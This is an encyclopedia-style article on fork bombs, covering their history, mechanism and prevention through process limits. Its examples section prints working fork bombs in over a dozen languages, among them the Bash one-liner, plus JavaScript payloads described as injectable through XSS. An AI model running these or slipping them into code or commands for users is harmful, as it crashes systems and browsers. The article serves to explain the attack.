Fork bomb

The concept behind a fork bomb — the processes continually replicate themselves, potentially causing a denial of service

In computing, a fork bomb (also called rabbit virus or wabbit^[1]) is a denial-of-service attack wherein a process continually replicates itself to deplete available system resources, causing resource starvation and slowing or crashing the system.

History

Around 1978 an early variant of a fork bomb called wabbit was reported to run on a System/360. It may have descended from a similar attack called RABBITS reported from 1969 on a Burroughs 5500 at the University of Washington.^[1]

Implementation

Fork bombs operate both by consuming CPU time in the process of forking, and by saturating the operating system's process table.^[2][3] A basic implementation of a fork bomb is an infinite loop that repeatedly launches the same process.

In Unix-like operating systems, fork bombs are generally written to use the fork system call.^[3] As forked processes are also copies of the first program, once they resume execution from the next address at the frame pointer, they also seek to create a copy of themselves; this has the effect of causing an exponential growth in processes. As modern Unix systems generally use copy-on-write when forking new processes,^[4] a fork bomb generally will not saturate such a system's memory.

Microsoft Windows operating systems do not have an equivalent functionality to the Unix fork system call;^[5] a fork bomb on such an operating system must therefore create a new process instead of forking from an existing one.

Examples of fork bombs

A fork bomb using the Bash shell:

 :(){ :|:& };:

Same as above, but encoded into a standalone shell script as opposed to a shell function:

#!/bin/bash
$0|$0& #"$0" returns the name of the shell script itself

A fork bomb using the Microsoft Windows batch language:

 :s
 start "" %0
 goto s

The same as above, but shorter:

 %0|%0

An inline shell example using the Perl interpreter:

 perl -e "fork while fork" &

Using Python:

 import os
 while 1:
     os.fork()

Using Ruby:

loop { fork { __FILE__ } }

Or using Haskell:

import Control.Monad (forever)
import System.Posix.Process (forkProcess)

forkBomb = forever $ forkProcess forkBomb

main = forkBomb

Or using Common Lisp(Clozure CL):

(loop (#_fork))

Or in C:

#include <unistd.h>

int main(void)
{
    while(1) fork();
}

Or in Assembly:

section .text
    global_start
    
_start:
    mov eax,2 ;System call for forking
    int 0x80  ;Call kernel
    jmp _start

In .NET using C#:

static void Main()
{
    while (true) Process.Start(Assembly.GetExecutingAssembly().Location);
}

Also in VB.net:

Do
    System.Diagnostics.Process.Start(System.Reflection.Assembly.GetExecutingAssembly().Location)
Loop While True

JavaScript code that can be injected into a Web page via an XSS vulnerability exploit, resulting in a series of infinitely forking pop-up windows:

<script>
while (true) {
  var w = window.open();
  w.document.write(document.documentElement.outerHTML||document.documentElement.innerHTML);
}
</script>

Or, an easier-to-inject, harder-to-censor version of the above that uses an event spoofing attack:

<a href="#" onload="function() { while (true) { var w = window.open(); w.document.write(document.documentElement.outerHTML||document.documentElement.innerHTML); } }">XSS fork bomb</a>

Or, a more aggressive version:

<script>
setInterval(function() {
  var w = window.open();
  w.document.write(document.documentElement.outerHTML||document.documentElement.innerHTML);
}, 10);
</script>

Prevention

As a fork bomb's mode of operation is entirely encapsulated by creating new processes, one way of preventing a fork bomb from severely affecting the entire system is to limit the maximum number of processes that a single user may own. On Linux, this can be achieved by using the ulimit utility; for example, the command ulimit -u 30 would limit the affected user to a maximum of thirty owned processes.^[6] On PAM-enabled systems, this limit can also be set in /etc/security/limits.conf,^[7] and on FreeBSD, the system administrator can put limits in /etc/login.conf.^[8]

See also

• Deadlock
• Fork (system call)
• Infinite loop

References